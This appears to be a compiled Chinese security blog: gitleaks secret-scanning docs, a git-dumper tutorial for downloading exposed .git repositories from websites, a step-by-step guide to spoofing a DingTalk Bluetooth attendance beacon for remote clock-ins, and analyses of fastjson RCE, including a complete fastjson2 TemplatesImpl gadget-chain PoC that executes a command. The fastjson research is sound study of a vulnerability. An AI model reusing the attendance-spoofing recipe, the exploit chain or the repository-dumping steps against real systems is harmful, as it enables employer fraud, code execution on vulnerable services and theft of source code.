优先级顺序:
1. --config/-c
2. 环境变量 GITLEAKS_CONFIG
3. (目标路径)/.gitleaks.toml
如果以上三者都未设置,gitleaks 将使用默认配置
--enable-rule strings 仅启用指定 ID 的规则
--exit-code int 检测到泄露信息时的退出代码(默认值为 1)
-i, --gitleaks-ignore-path string .gitleaksignore 文件或包含此文件的文件夹路径(默认值为 ".")
-h, --help gitleaks 帮助
--ignore-gitleaks-allow 忽略 gitleaks:allow 注释
-l, --log-level string 日志级别(trace, debug, info, warn, error, fatal)(默认 "info")
--max-decode-depth int 允许递归解码的最大深度(默认 "0",不进行解码)
--max-target-megabytes int 跳过大于该大小的文件
--no-banner 禁止显示横幅
--no-color 禁用彩色输出
--redact uint[=100] 在日志和标准输出中隐藏敏感信息。仅隐藏部分敏感信息可以设置百分比,例如 --redact=20(默认隐藏 100%)
-f, --report-format string 输出格式(json, csv, junit, sarif)(默认 "json")
-r, --report-path string 报告文件路径
-v, --verbose 显示扫描的详细输出
--version 显示 gitleaks 的版本信息

使用 "gitleaks [command] --help" 获取有关某个命令的更多信息。

命令

⚠️v8.19.0 引入了一项更改,即弃用了detectprotect。这些命令仍然可用,但隐藏在--help菜单中。查看此要点以轻松进行命令翻译。如果您发现 v8.19.0 破坏了现有命令 ( detect/ protect),请打开问题。

扫描模式有三种:gitdirstdin

Git

git命令允许您扫描本地 git 存储库。在底层,gitleaks 使用命令来扫描补丁。您可以使用选项git log -p配置的行为。例如,如果您想对一系列提交运行 gitleaks,则可以使用以下命令:。有关更多信息,请参阅git log文档。如果没有将目标指定为位置参数,则 gitleaks 将尝试将当前工作目录扫描为 git 存储库。git log -p``log-opts``gitleaks git -v --log-opts="--all commitA..commitB" path_to_repo

目录

dir(别名包括files, )命令directory允许您扫描目录和文件。例如:gitleaks dir -v path_to_directory_or_file。如果没有将目标指定为位置参数,则 gitleaks 将扫描当前工作目录。

标准输入

你也可以用以下命令将数据传输到 gitleaks stdin。例如:cat some_file | gitleaks -v stdin

创建基线

扫描大型存储库或具有较长历史的存储库时,使用基线会很方便。使用基线时,gitleaks 将忽略基线中存在的任何旧发现。基线可以是任何 gitleaks 报告。要创建 gitleaks 报告,请使用参数运行 gitleaks --report-path

1
gitleaks git --report-path gitleaks-report.json # This will save the report in a file called gitleaks-report.json

一旦创建基线,就可以在再次运行检测命令时应用它:

1
gitleaks git --baseline-path gitleaks-report.json --report-path findings.json

使用 –baseline-path 参数运行detect命令后,报告输出(findings.json)将只包含新问题。

预提交钩子

pre-commit.py您可以将示例脚本复制到目录中,以将 Gitleaks 作为预提交钩子运行.git/hooks/

配置

Gitleaks 提供了一种配置格式,您可以按照该格式编写自己的秘密检测规则:

1
# Title for the gitleaks configuration file.title = "Gitleaks title"# Extend the base (this) configuration. When you extend a configuration# the base rules take precedence over the extended rules. I.e., if there are# duplicate rules in both the base configuration and the extended configuration# the base rules will override the extended rules.# Another thing to know with extending configurations is you can chain together# multiple configuration files to a depth of 2. Allowlist arrays are appended# and can contain duplicates.# useDefault and path can NOT be used at the same time. Choose one.[extend]# useDefault will extend the base configuration with the default gitleaks config:# https://github.com/gitleaks/gitleaks/blob/master/config/gitleaks.tomluseDefault = true# or you can supply a path to a configuration. Path is relative to where gitleaks# was invoked, not the location of the base config.path = "common_config.toml"# An array of tables that contain information that define instructions# on how to detect secrets[[rules]]# Unique identifier for this ruleid = "awesome-rule-1"# Short human readable description of the rule.description = "awesome rule 1"# Golang regular expression used to detect secrets. Note Golang's regex engine# does not support lookaheads.regex = '''one-go-style-regex-for-this-rule'''# Int used to extract secret from regex match and used as the group that will have# its entropy checked if `entropy` is set.secretGroup = 3# Float representing the minimum shannon entropy a regex group must have to be considered a secret.entropy = 3.5# Golang regular expression used to match paths. This can be used as a standalone rule or it can be used# in conjunction with a valid `regex` entry.path = '''a-file-path-regex'''# Keywords are used for pre-regex check filtering. Rules that contain# keywords will perform a quick string compare check to make sure the# keyword(s) are in the content being scanned. Ideally these values should# either be part of the identiifer or unique strings specific to the rule's regex# (introduced in v8.6.0)keywords = [  "auth",  "password",  "token",]# Array of strings used for metadata and reporting purposes.tags = ["tag","another tag"]    # ⚠️ In v8.21.0 `[rules.allowlist]` was replaced with `[[rules.allowlists]]`.    # This change was backwards-compatible: instances of `[rules.allowlist]` still  work.      #    # You can define multiple allowlists for a rule to reduce false positives.    # A finding will be ignored if _ANY_ `[[rules.allowlists]]` matches.    [[rules.allowlists]]    description = "ignore commit A"    # When multiple criteria are defined the default condition is "OR".    # e.g., this can match on |commits| OR |paths| OR |stopwords|.    condition = "OR"    commits = [ "commit-A", "commit-B"]    paths = [      '''go\.mod''',      '''go\.sum'''    ]    # note: stopwords targets the extracted secret, not the entire regex match    # like 'regexes' does. (stopwords introduced in 8.8.0)    stopwords = [      '''client''',      '''endpoint''',    ]    [[rules.allowlists]]    # The "AND" condition can be used to make sure all criteria match.    # e.g., this matches if |regexes| AND |paths| are satisfied.    condition = "AND"    # note: |regexes| defaults to check the _Secret_ in the finding.    # Acceptable values for |regexTarget| are "secret" (default), "match", and "line".    regexTarget = "match"    regexes = [ '''(?i)parseur[il]''' ]    paths = [ '''package-lock\.json''' ]# You can extend a particular rule from the default config. e.g., gitlab-pat# if you have defined a custom token prefix on your GitLab instance[[rules]]id = "gitlab-pat"# all the other attributes from the default rule are inherited    [[rules.allowlists]]    regexTarget = "line"    regexes = [ '''MY-glpat-''' ]# This is a global allowlist which has a higher order of precedence than rule-specific allowlists.# If a commit listed in the `commits` field below is encountered then that commit will be skipped and no# secrets will be detected for said commit. The same logic applies for regexes and paths.[allowlist]description = "global allow list"commits = [ "commit-A", "commit-B", "commit-C"]paths = [  '''gitleaks\.toml''',  '''(.*?)(jpg|gif|doc)''']# note: (global) regexTarget defaults to check the _Secret_ in the finding.# if regexTarget is not specified then _Secret_ will be used.# Acceptable values for regexTarget are "match" and "line"regexTarget = "match"regexes = [  '''219-09-9999''',  '''078-05-1120''',  '''(9[0-9]{2}|666)-\d{2}-\d{4}''',]# note: stopwords targets the extracted secret, not the entire regex match# like 'regexes' does. (stopwords introduced in 8.8.0)stopwords = [  '''client''',  '''endpoint''',]

请参阅默认gitleaks 配置以获取示例,或者如果您希望为默认配置做出贡献,请遵循贡献指南。此外,您还可以查看这篇涵盖高级配置设置的gitleaks 博客文章。

附加配置

gitleaks:允许

如果你故意提交 gitleaks 会捕获的测试机密,你可以gitleaks:allow在该行中添加注释,指示 gitleaks 忽略该机密。例如:

1
2
class CustomClass:
discord_client_secret = '8dyfuiRyq=vVc3RRr_edRk-fK__JItpZ' #gitleaks:allow

.gitleaksignore

.gitleaksignore您可以通过在存储库根目录下创建一个文件来忽略特定发现。在版本 v8.10.0 中,GitleaksFingerprint为 Gitleaks 报告添加了一个值。每个泄漏或发现都有一个指纹,可以唯一地标识一个秘密。将此指纹添加到.gitleaksignore文件中以忽略该特定秘密。有关示例,请参阅 Gitleaks 的.gitleaksignore。注意:此功能是实验性的,将来可能会发生变化。

解码

有时秘密的编码方式使得仅使用正则表达式很难找到它们。现在您可以告诉 gitleaks 自动查找和解码编码文本。该标志--max-decode-depth启用此功能(默认值“0”表示默认情况下禁用该功能)。

由于解码的文本也可以包含编码的文本,因此支持递归解码。该标志--max-decode-depth设置递归限制。当没有新的编码文本段需要解码时,递归将停止,因此设置非常高的最大深度并不意味着它会进行那么多遍。它只会进行解码文本所需的次数。总体而言,解码只会稍微增加扫描时间。

编码文本的发现与正常发现有以下不同:

  • 该位置指向编码文本的边界
    • 如果规则在编码文本之外匹配,则边界也会调整以包括该文本
  • 匹配和秘密包含解码的值
  • 添加了两个标签decoded:<encoding>decode-depth:<depth>

目前支持的编码:

  • base64(标准和 base64url)

项目地址

GitHub:
https://github.com/gitleaks/gitleaks

如何使用Git-Dumper从站点中导出一个Git库

如何使用Git-Dumper从站点中导出一个Git库

本文转自 Alpha_h4ck 并作补充

关于Git-Dumper

Git-Dumper是一款功能强大的代码导出工具,在该工具的帮助下,广大研究人员可以轻松从一个网站中导出目标Git库,并存储到本地设备中进行分析和研究。

工具运行机制

该工具首先会检测提供的目录列表是否可用,如果可用,该工具将会以递归的方式下载目标站点中所有的.git目录(该功能与使用wget效果相同)。

如果目录列表不可用,那么该工具将使用多种方法来尽可能地查找更多的文件,具体操作步骤如下:

1、获取所有的常见文件,例如.gitignore、.git/HEAD和.git/index等;

2、通过分析.git/HEAD、.git/logs/HEAD、.git/config和.git/packed-refs等文件来查找尽可能多的refs,例如refs/heads/master和refs/remotes/origin/HEAD;

3、通过分析.git/packed-refs、.git/index、.git/refs/*和.git/logs/*来寻找尽可能多的对象(sha1);

4、递归获取所有的对象,并分析每一个commit来查找父组件;

5、运行“git checkout .”命令来恢复当前工作树;

工具依赖

本项目基于Python 开发,因此广大研究人员首先需要在本地设备上安装并配置好Python环境。

工具下载

GitHub安装

广大研究人员可以使用下列命令将该项目源码克隆至本地:

1
git clone https://github.com/arthaud/git-dumper.git

pip安装

我们还可以使用pip来直接安装Git-Dumper:

1
pip install git-dumper

源码构建

下载好Git-Dumper之后,可以使用pip命令来安装工具依赖组件:

1
pip install -r requirements.txt

接下来,直接运行下列命令即可:

1
./git_dumper.py http://website.com/.git ~/website

工具帮助信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
usage: git-dumper [options] URL DIR

Dump a git repository from a website.

positional arguments:

URL url

DIR output directory

optional arguments:

-h, --help show this help message and exit

--proxy PROXY use the specified proxy

-j JOBS, --jobs JOBS number of simultaneous requests

-r RETRY, --retry RETRY

number of request attempts before giving up

-t TIMEOUT, --timeout TIMEOUT

maximum time in seconds before giving up

-u USER_AGENT, --user-agent USER_AGENT

user-agent to use for requests

-H HEADER, --header HEADER

additional http headers, e.g `NAME=VALUE`

命令解释

-h, –help:显示工具帮助信息和退出;

–proxy PROXY:设置使用指定的代理;

-j JOBS, –jobs JOBS:设置同时发送的请求数量;

-r RETRY, –retry RETRY:设置请求发送尝试的最大次数;

-t TIMEOUT, –timeout TIMEOUT:设置最大超时时间,单位为秒;

-u USER_AGENT, –user-agent USER_AGENT:设置用于发送请求的用户代理;

-H HEADER, –header HEADER:设置需要添加的额外HTTP Header;

工具使用样例

下列命令可以从目标站点直接导出Git库:

1
git-dumper http://website.com/.git ~/website

项目地址

Git-Dumper:GitHub传送门

教你怎么实现钉钉蓝牙打卡考勤机的远程打卡

教你怎么实现钉钉蓝牙打卡考勤机的远程打卡

本文转自 小刀 并作补充

许多公司都手机考勤了,规定要在公司的蓝牙考勤机5米内才可以打卡签到,绝大多数是用模拟仿真软件完成的,但手机软件常常由于升级了就不能用,十分不便,因此这儿教各位怎样用USB蓝牙盒子(蓝牙打卡神器)模拟信号打卡,硬件配置可以永久用,而且安卓系统和IOS系统都能够用,也比较简单,新手有一定计算机技术和硬件知识就能完成。

准备

1、计算机(WIN7系统以上,64位)

2、USB蓝牙盒子(必须选购)

3、安卓手机

操作步骤

第一步。下载《23款蓝牙盒子设置工具 V1.0.1》这个软件到电脑,安装好驱动软件再打开软件。

下载链接:https://wwc.lanzouq.com/iKPiD1ay326h

密码:8888

image

第二步。安卓手机下载“nrf”这个APP。手机打开“nrf”,查周边的蓝牙信号。有的公司很有可能周边蓝牙信号比较多,一定要找到考勤机相匹配的那一个信号,假如没法鉴别,就只有一个一个试了。有前提的可以查询机器设备包装盒子,或是设施的反面,都是有MAC地址。

如果是钉钉的蓝牙打卡机,找蓝牙信号带TomTom(如图红框)就是,截图就可以破解。

nrf下载链接:https://wwc.lanzouq.com/iywyH04gn61g

image

第三步。打开《23款蓝牙盒子设置工具 V1.0.1》这个修改器软件,将USB蓝牙盒子插进电脑USB口。显示“已连接”,在软件填好MAC地址和广播一(MAC地址不用填“:”,只填数字和英文字母就可以),最后点“写入配置”就可以。

image

第四步。提示“写入成功”就可以把蓝牙打卡器拔下,可以配合转接头插手机上,用手机给打卡器供电,这时发送出来的蓝牙信号,就和公司的信号彻底一样。手机上只需插着这个打卡器,就象在公司一样打卡签到了。

这个方式如果考勤机器发出的蓝牙广播每天都会变一个参数值就没用了感觉,这篇文章也不是用来参考绕过考勤的,而是用才参考有一个用户能到蓝牙机器前,打开程序获取广播报,发送相关包给到远端,远端可以模拟信号发起请求或直接传参(得到广播发出的 serialData,远端模拟一个客户端请求发送给服务端)

fastjson漏洞是否影响安卓

fastjson漏洞是否影响安卓

本文转自 mb_opmktjff 并作补充

fastjson有一些已知的严重RCE漏洞,例如CVE-2017-18349和CVE-2022-25845。一般其影响范围在服务器端,多为Spring Boot框架的服务,而在安卓的影响却没有搜到任何资料。我们来分析一下,如果一个安卓客户端应用使用了老版本的fastjson库,是否可以被攻击。

在查看fastjson 1.1.53.android的maven网页时,发现其标注了存在已知CVE漏洞。

https://mvnrepository.com/artifact/com.alibaba/fastjson/1.1.53.android

image

查看fastjson的github修复公告,却表示安卓环境不涉及此漏洞(CVE-2017-18349)。除此之外,没有找到更多的fastjson漏洞在安卓上的分析。

https://github.com/alibaba/fastjson/wiki/security_update_20170315

image

尽管fastjson出过好几次RCE的漏洞,但是本质上原理相同,仅仅是安全检查绕过的方法不同,因此我们本文先研究最初被发现的RCE,CVE-2017-18349。

分析思路

经过一些搜索,找到了网上一些关于此漏洞的信息,但是没有找到为什么安卓版本不涉及此漏洞。

我发现fastjson发布的版本号中,除了普通的版本还有安卓版本,后缀为“.android”。安卓版是主要针对安卓环境进行优化,除此之外没有特殊改动。

https://github.com/alibaba/fastjson/wiki/Android%E7%89%88%E6%9C%AC

image

部分fastjson安卓版的差异

以目前的信息,可以得到以下两个猜测:

  • 猜测1:fastjson的安卓版本和普通版本有区别,导致安卓版本不受此漏洞影响。
  • 猜测2:安卓运行环境不同,不受此漏洞影响。

为了分析fastjson在安卓上的影响,我们搭建3个环境。

  • 第一个是已知脆弱的环境,其服务为Spring Boot,尝试复现,然后用于比较。
  • 第二个是类似第一个的环境,但是把fastjson的依赖库版本加上“.android”后缀,以测试安卓版本在Spring Boot中是否脆弱。
  • 第三个环境是正常的安卓客户端应用,使用安卓版本的fastjson,除此之外尽可能模仿第一个环境的应用层逻辑。

尝试复现

使用vulhub上的样例可以成功复现,具体参考其wiki。

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

但是这个样例是docker容器,其中包含的jar文件,没有源码。为了能好地分析,我们需要用源码搭建一套复现环境。要找到源码,可以尝试从docker中复制出来然后反编译。

运行其容器后,使用以下命令将里面的jar拷贝到本地宿主机。

1
docker cp <container-id>:<src-path> <dest-path>

然后用jadx打开,找到相关json反序列化入口

image

可见此poc使用的是一个spring boot框架下的普通的json反序列化,没有特殊条件。后续我们将用 JSON.parseObject() 的方式来复现

我们本地也构造这样一个环境试试。首先尝试新建一个spring boot工程,使用较新的jdk 17和spring boot 3.2.2版本,但是老的fastjson 1.2.24。

image

请注意当前的 https://start.spring.io/ 默认初始模板中的依赖是错误的。如果你是用的是其初始模板,需要将build.gradle中“org.springframework.boot:spring-boot-starter”需要改成“org.springframework.boot:spring-boot-starter-web”,否则会编译失败。

使用一个简单的反序列化payload, 在服务器根路径收到get请求时触发

image

在请求localhost:8080后,发现服务器报错

1
java.lang.reflect.InaccessibleObjectException: Unable to make public com.sun.rowset.JdbcRowSetImpl() accessible: module java.sql.rowset does not "exports com.sun.rowset" to unnamed module

搜索此报错,看到如下github issue。

https://github.com/dbgee/fastjson-rce/issues/2

看上去jdk 17是无法构造RCE的,因此尝试换成jdk 1.8 (8u202)。

image

这样修改后编译是失败的,因为spring boot 3.2.2不兼容。由于依赖的环境版本比较老,所以有一些配置需要修改才能正常跑起来。

根据这篇Stack Overflow回答,我们去找spring boot 2.7

https://stackoverflow.com/questions/76467522/cant-compile-spring-boot-on-java-1-8

按照spring boot 2.7的gradle设置,重新修改build.gradle。

https://docs.spring.io/spring-boot/docs/2.7.18/gradle-plugin/reference/htmlsingle/#getting-started

这是我的最终build.gradle。注意第22行不能加,否则在当前的环境中跑不起来。

image

与此同时,如果没有jdk 1.8,去oracle官网创建一个账号,然后下载。

由于我是用gradlew启动的程序,所以在其bash脚本中进行修改,无脑使用了java 1.8

image

在启动nc监听的情况下,再次访问该网页,复现成功。可见右侧的监听收到了rmi的请求。为了更简便地分析调试,我们这里不必使用完整的PoC,而是在收到请求之后就确定是有问题的。

image

我们先尝试一下安卓版本能否复现这个bug。由于描述上写的fastjson版本小于1.2.25都存在这个问题,所以我这里用了1.1.52.android这个版本。现在我们把build.gradle中的fastjson版本修改后重新编译并运行服务器。

然后使用同样的payload,发现服务器依然会去请求jndi。如果我们打断点,是可以看到这次调用栈进入的是1.1.52.android版本的fastjson。

image

那么排除fastjson的安卓版有不同于普通版的地方,所以安卓版是安全的的这个假设。

经过一些搜索,我们可以看到安卓是不支持jndi的。

类似fastjson,log4shell也是在安卓不受影响。其同样利用了jndi的方式进行了RCE。可以看到这篇文章分析得出安卓不影响,原因是安卓不支持jndi。

https://support.nowsecure.com/hc/en-us/articles/4417200289421-Log4Shell-and-Its-Impact-on-Mobile-Security

由于我们尝试的poc是依赖jndi的,因此安卓的老版本确实无法用相同的方式攻击。

我们搭建一个kotlin的安卓项目,并使用fastjson 1.1.52.android,其余均为默认值。

image

image

尝试在安卓应用中使用相同的payload,在activity的onCreate的时候直接运行反序列化。得到以下报错:类无法找到

image

理解此漏洞

由于老版本fastjson在反序列化时,可以指定任意类进行反序列化。在反序列化时也会调用其get、set、constructor等方法,也就相当于代码执行。

任何可以被fastjson反序列化攻击的类称为fastjson gadget,而我们最熟知的便是jndi的类。攻击者能用fastjson执行的代码,仅限于fastjson gadget。具体的反序列化分析不在本文中讨论。

安卓版本不能使用jndi的gadget,但是其他的很多gadget可以使用,也存在很多Spring Boot没有的gadget。目前已知的安卓fastjson gadget中,没有能造成实际影响的。

结论

目前已知的PoC无法攻击安卓应用,因为使用的fastjson gadget是jndi,且安卓不支持jndi。攻击者可以利用fastjson进行代码执行,但是目前(2024-02-26)没有发现可以在安卓上造成实际影响的fastjson gadget。

本次研究的fastjson的安卓版本(后缀为“.android”)和普通版本在服务器端使用都存在RCE漏洞,攻击方式相同。

一文带你看懂fastjson2下的反序列化调用链完整过程

一文带你看懂fastjson2下的反序列化调用链完整过程

本文转自 fupanc 并作补充

来分析一下fastjson2下的反序列化调用链全过程

fastjson2下的反序列化调用链分析

前言

在前面fastjson1下的反序列化调用链分析中,简单提到过fastjson2下的反序列化调用链,但是当时fastjson2的能打的版本为<=2.0.26。现在先来具体看看这个版本下的调试分析。

Fastjson2<=2.0.26调试分析

依赖版本改成如下即可:

1
2
3
4
5
6
<!-- <https://mvnrepository.com/artifact/com.alibaba/fastjson> -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>2.0.26</version>
</dependency>

当时使用的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;
import javax.management.BadAttributeValueExpException;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc",templates);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行即可弹出计算机。

其实主要的点还是在于调用toString()方法,直接将代码改简单些来调试分析一下流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc",templates);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

直接打断点于getOutputProperties()方法:

image

调试直接成功断在这里,此时的调用栈为:

1
2
3
4
5
6
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, OWG_1_3_TemplatesImpl (com.alibaba.fastjson2.writer)
write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
toJSONString:2388, JSON (com.alibaba.fastjson2)
toString:1028, JSONObject (com.alibaba.fastjson)
main:32, Main (org.example)

朴实无华,但是从中还是可以看到之前fastjson1分析下的一些影子,比如:

image

很熟悉的获取ObjectWriter相关类并调用它的write()方法来进行序列化。

现在来跟一下具体细节,看一下对序列化类的处理逻辑。

打断点于toString()方法:

image

这里的JSONWriter的Feature是一个枚举类型的类:

image

里面就有我们获取的定义在这个类中的ReferenceDetection值。

后面发现JSONObject类在fastjson2中其实有两个:

image

在前面我们都是使用的fastjson1的JSONObject来分析,两个都能弹,并且其实调试下来最终的调用方法是一样的,这里就直接调试分析fastjson2的JSONObject过程了,直接在import处将代码改成fastjson2即可。然后打断点调试,直接断于JSONObject类的toString()方法:

image

跟进这个JSONWriter类的of()方法:

image

最后也是返回了这个jsonWriter变量,现在来看看createWriteContext()的调用获取情况以及JSONWriterUTF16JDK8类的实例化情况,后续会用到类中的变量,要搞清楚对应变量的赋值以及调用,重新调试单击进入JSONFactory类的createWriteContext()方法:

image

这里的defaultObjectWriterProvider是静态的直接默认的变量:

image

继续跟进JSONWriter类的内部类Context类的初始化:

image

也就是将features赋值为0,然后将参数传递的ObjectWriterProvider类的实例化对象赋值给了provider。

最后返回了这个Context类,然后一直返回,回到JSONWriterUTF16JDK8类的初始化:

image

继续往父类初始化:

image

继续往父类看:

image

初始化情况如上,这里的JSONWriter应该是一个和json序列化相关的类。在这个JSONWriter类初始化完毕后,回到其子类JSONWriterUTF16的初始化:

image

这里的chars需要关注,后面要提到。可以看到这里的cachedIndex为1,跟进调用的JSONFactory类的allocateCharArray()方法:

image

可以看到直接静态设置了几个变量,如这里非常重要的CHAR_ARRAY_CACHE,这是一个二维数组,但是并没有定义值,所以CHAR_ARRAY_CACHE[cacheIndex]的值为null,从而将这个chars值设置为8192个下表的数组,并且最后返回了这个数组。

而后这个char数组的内容都是默认的占位符吧应该是:

image

后续会提到,这里就先继续调试跟着走。

——————

回到JSONWriter类的of()方法,最后是返回了这个实例化的JSONWriterUTF16JDK8类:

image

然后应该是设置了要序列化的类:

image

跟进setRootObject()方法:

image

效果如上,然后就是调用了JSONWriterUTF16JDK8类的write()方法来进行序列化,同样是传参传入了JSONObject类,对于这里的write()方法,关键的地方在于:

image

这里调用了迭代器来获取我们存储在JSONObject中的键值对:

image

然后继续往后面走,可以看到序列化key的地方:

image

当调用了writeString()方法后,这里的chars的值就更改了,这里的writeString()方法就不跟进了,关键点如下:

image

数组的一个copy操作,将value的值copy进chars中。

继续回到JSONWriterUTF16类的write()方法,后续就可以看到对value进行了处理:

image

并且对其进行了获取Class处理并对比,如下一些class对象:

1
2
3
4
5
6
7
String.class
Integer.class
Long.class
Boolean.class
BigDecimal.class
JSONArray.class
JSONObject.class

毫无疑问都不是和TemplatesImpl相关的,所以最后是到了如下代码:

image

非常熟悉的代码了,就是对TemplatesImpl类进行序列化处理。

跟进Context类的getObjectWriter()方法:

image

可以看到是接收的Type和Class对象的参数,但是传参可以看出来是都传的Class类型的,其实就是因为Class类实现了Type接口而已:

image

然后会调用ObjectWriterProvider类的getObjectWriter()方法:

image

代码如下:

image

毫无疑问当时赋值时就没有对cache作任何处理,并且这个变量是一个final初始化的一个默认的变量,故不能从cache中获取到TemplatesImpl.class的序列化处理类。后面的重点代码如下:

image

前面经过一系列处理,都找不到对应的TemplatesImpl类的,这里就会创建一个序列化类用于序列化相关的类,其次可以看到当成功创建了类过后,就会调用putIfAbsent()方法以键值对的形式放进到cache中,以便后续再次序列化相关类时直接通过get()获取,最后是返回了这个objectWriter序列化类。

跟进getCreator()方法:

image

最后是会返回这个creator变量,这个变量的赋值在类的初始化阶段就完成了,这里简单提一下: 在前面关于ObjectWriterProvider类的初始化,我们是直接调用的无参构造函数:

image

这里就涉及到了有关creator的赋值,调试效果如下:

image

这里的JSONFactory类的常量CREATOR赋值在JSONFactory类的static语句中:

image

所以会直接进入到default语句中从而给creator赋值为ObjectWriterCreatorASM类实例:

image

并且将变量classloader赋值为了DynamicClassLoader类实例:

image

跟进原先的DynamicClassLoader.getInstance(),就是直接获取instance:

image

很符合前面ObjectWriterCreatorASM类初始化变量赋值的条件。

回到ObjectWriterProvider类的getObjectWriter()方法:

image

故会调用ObjectWriterCreatorASM类的createObjectWriter()方法,并且在成功创建后会将其以键值对的形式放入到cache中,以便后续再次调用,并且最后也是返回了创建的objectWriter。跟进ObjectWriterCreatorASM类的createObjectWriter()方法,后续比较关键的就是对于method中的getter的处理,如下代码:

image

这里会先调用BeanUtils类的getters()方法,关键在于如下:

image

先从methodCache中查看是否有缓存的method,没有的话就会调用getMethods()方法来获取到对应类的public方法并将其放入到methodCache中,后续对获取到的方法进行了处理,调用的for循环进行的获取来判断如上图,关键的地方在如下:

image

可以看到是处理了getter方法,一般getter的长度都会大于3,所以这里的nameMatch肯定为true,然后进行了判断,就是取methodName的第四个字母进行判断,要是在a到z之间并且methodName长度为4,就赋值为false,但是从后面逻辑来看这里是需要nameMatch为true的,不然就会continue,并且从这个条件来看也是不容易满足的。

在这里获取到对应的getter方法后,继续往后看,会获取getter方法对应的fileName:

image

再然后就会创建序列化类了:

image

此时的调用栈为:

1
createFieldWriter:887, ObjectWriterCreator (com.alibaba.fastjson2.writer)lambda$createObjectWriter$2:377, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)accept:-1, 215219944 (com.alibaba.fastjson2.writer.ObjectWriterCreatorASM$$Lambda$14)getters:1010, BeanUtils (com.alibaba.fastjson2.util)createObjectWriter:252, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)toString:1090, JSONObject (com.alibaba.fastjson2)main:33, Main (org.example)

继续跟进createFieldWriter的实现:

image

比较关键的就是这一部分的getInitWriter()方法的调用,由于参数传递,这里的initObjectWriter为null,这段代码先试获取了方法的返回值的类型,然后跟进getInitWriter()的调用:

image

就是判断返回值的Class对象是否符合上述几个Class对象,不符合的话就返回null,而返回null会让后续代码根据返回值的Class对象从而来实例化对应的writer类:

image

比如我这里调试判断的就是getTransletIndex()方法,返回值为int类型,故如上图会实例化FieldWriterInt32Method类,最后将其放入到fieldWriterMap变量中:

image

然而由于我们想要利用的getOutputProperties()方法的返回对象为class java.util.Properties,没有匹配的类,故直接使用的Object类型来进行的调用:

image

再然后可以看到fieldWriterMap的值发生了变化:

image

一切都是有规律的。

这里需要提到一个点,这里的”fieldWriter“类的最终父类都是FieldWriter类,并且在传参时都是给这个父类的值进行赋值,在这里我们需要注意到其中存在一个变量的更替,以getOutputProperties()方法的过程为例:

image

可以看到会对父类进行传参,需要注意这里的类中时自定义了一个变量,field:null,并且其他如前面提到的FieldWriterInt32Method类也是这样的,这个后续有大用,然后就是一直跟进到最顶父类的赋值:

image

——

故事的最后,我们如约获取到了对应的三个getter方法:

image

